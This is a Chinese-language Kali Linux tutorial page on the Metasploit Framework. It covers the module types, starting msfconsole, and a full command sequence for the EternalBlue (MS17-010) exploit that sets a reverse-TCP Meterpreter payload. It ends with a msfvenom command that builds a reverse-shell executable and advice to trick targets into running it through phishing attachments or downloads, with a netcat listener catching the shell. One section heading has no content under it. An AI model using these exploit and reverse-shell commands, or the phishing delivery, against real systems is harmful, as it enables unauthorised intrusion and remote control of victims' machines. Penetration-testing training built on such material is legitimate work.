kali linux 中文文档 下载 App

Metasploit Framework 漏洞利用框架实战

什么是 Metasploit

Metasploit Framework 由 Rapid7 维护,是世界上最流行的开源漏洞利用框架。它的核心价值在于:把已知漏洞的 PoC(概念验证)代码封装成标准模块,配合 payload、encoder、listener 组件,让渗透测试者不需要自己写 exploit 就能快速验证目标是否存在漏洞。

模块体系

Metasploit 的所有功能都封装成 module,分六大类:

模块类型用途缩写
exploits漏洞利用代码,直接攻击目标E
payloads成功利用后执行的代码(reverse shell 等)P
auxiliary辅助功能(扫描、指纹识别、信息收集)A
encoders对 payload 编码,绕过杀软检测N
nop填充字节,用于漏洞利用中的 buffer 构造空指令
post后渗透模块(权限提升、凭证收集)后渗透

启动 Metasploit

Kali 中直接运行:

msfconsole

首次启动会自动初始化数据库(如果用 PostgreSQL)。推荐启动数据库服务以支持搜索历史记录:

sudo systemctl start postgresql
sudo msfdb init

典型攻击流程示例:永恒之蓝(MS17-010)

这是最经典的 Metasploit 攻击流程:

msf6 > search ms17-010
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > show options
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.100
msf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.1.50
msf6 exploit(ms17_010_eternalblue) > run

成功后会获得一个 Meterpreter session(Windows 上的高级交互式 shell)。

Meterpreter 后渗透命令

获得 Meterpreter 后常见的操作:

Metasploit 的局限

进阶:msfvenom 生成独立 payload

不想用 Meterpreter 的时候可以用 msfvenom 生成独立可执行文件:

msfvenom -p windows/x64/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe > reverse.exe

生成的 exe 可以通过社工手段让目标运行(邮件附件、钓鱼下载等),攻击者本地用 nc -lvp 4444 监听接收 shell。